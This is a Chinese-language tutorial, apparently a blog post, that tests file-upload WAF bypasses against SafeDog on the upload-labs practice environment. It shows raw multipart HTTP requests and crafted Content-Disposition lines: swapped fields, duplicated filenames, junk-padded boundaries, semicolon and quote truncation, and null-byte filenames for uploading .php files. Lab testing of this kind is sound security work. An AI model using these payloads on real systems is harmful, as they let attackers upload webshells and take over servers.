目录
multipart/form-data 与 boundary 之间插入垃圾数据
注意,要下载apache版
漏洞防护规则可以在这里看
在网站防护—漏洞防护设置—上传防护中对文件上传进行防护
前端上传页面需要指定 enctype 为 multipart/from-data 才能正常上传文件。
一个正常的文件上传数据包大致如下:
- POST /upload-lab/Pass-01/index.php HTTP/1.1
- Host: 192.168.111.167
- User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Content-Type: multipart/form-data;
- boundary=---------------------------338226918236832126084030069411
- Content-Length: 986
- Origin: http://192.168.111.167
- Connection: close
- Referer: http://192.168.111.167/upload-lab/Pass-01/index.php
- Cookie: PHPSESSID=37tvo07m8lu02b0qdvefjtbua7
- Upgrade-Insecure-Requests: 1
-
- -----------------------------338226918236832126084030069411
- Content-Disposition: form-data; name="upload_file"; filename="php.png"
- Content-Type: image/png
-
- <?phpxx?>
-
- -----------------------------338226918236832126084030069411
- Content-Disposition: form-data; name="submit"
-
- 上传
- -----------------------------338226918236832126084030069411--
文件上传在数据包中可修改的地方
waf的检测主要基于如下
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析,比如安全狗。
大致步骤如下:
以upload-labs第一关为例,进行测试
安全狗的检测规则是只要filename中包含php关键词就拦截,不管你是文件名包含还是后缀包含敏感词都拦截
可见并不拦截,安全狗未对文件内容进行任何的过滤
form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败。
但是filename对引号进行改动或去掉引号则会被拦截
- #正常字段
- Content-Disposition: form-data; name="upload_file"; filename="php.png"
-
- #form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败
- Content-Disposition: form-data; name=upload_file; filename="1.png"
- Content-Disposition: form-data; name='upload_file'; filename="1.png"
- Content-Disposition: 'form-data'; name=upload_file; filename="1.png"
- Content-Disposition: "form-data"; name=upload_file; filename="1.png"
-
- #但是filename值如果对引号进行改动或去掉引号则会被拦截
- Content-Disposition: form-data; name=upload_file; filename=2.png
如下对filename值去掉引号,被拦截
某些 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。其实 Content-Disposition 可以任意变换或为空。
Content-Disposition: form-d ata; name="upload_file"; filename="1.png" Content-Disposition: fora; name="upload_file"; filename="1.png" Content-Disposition:name="upload_file"; filename="1.png"
如将 Content-Disposition 的值置为空也不影响正常上传
尝试绕过,失败
因为规定了 Content-Disposition 必须在最前面,所以只能交换 name 和 filename 的顺序。
有的 WAF 可能会匹配 name 在前面,filename 在后面,可以导致绕过。
Content-Disposition: form-data; filename="1.php"; name="upload_file"
如下内容,可见上传的是第一个she.png(也不一定)
但是这两个filename只要有一个存在php关键词就会被检测。如果waf取的文件名时只取了一个就会被 Bypass。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
boundray 字符串的值可以为任何数据(有一定的长度限制),当长度达到 WAF 无法处理时,而 Web 服务器又能够处理,那么就可以绕过 WAF 上传文件
除了最后一个boundary值,其他几个boundary值都需要一致,否则会上传失败。但是如果在一个boundary值后面加个逗号隔开,就可以插入任意的数据,此时这几个boundary无需一致也不会影响上传
WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
除了最后一个boundray,其他几个均插入一样的垃圾数据,但是无论加多少还是会被拦截!!
boundary 可以插入任何数据,那么就可以在 boundary 字符串末尾加入大量垃圾数据。这里还是拦截
name 与 filename 之间插入大量垃圾数据。
fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf
加多少都没用
无法绕过
POST 请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若 WAF 匹配文件名到换行截止,则可以绕过
拦截
若 WAF 匹配文件名到分号截止,则可以绕过
Content-Disposition: form-data; name="upload_file"; filename="2.png;.php"
php<5.3 单双引号截断特性。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php" Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
在 url 中 %00 表示 ascll 码中的 0 ,而 ascii 中 0 作为特殊字符保留,所以当 url 中出现 %00 时就会认为读取已结束。这里使用 [0x00] 代替 16 进制的 00 字符
Content-Disposition: form-data; name="upload_file"; filename="asd.php[0x00].jpg"
上传文件,使用 Burp 抓包,将 filename 的值改为:asd.php;.jpg
后打开 hex,(分号的 16 进制为 0x3b)修改 16 进制内容,把 3b 改成 00:
成功绕过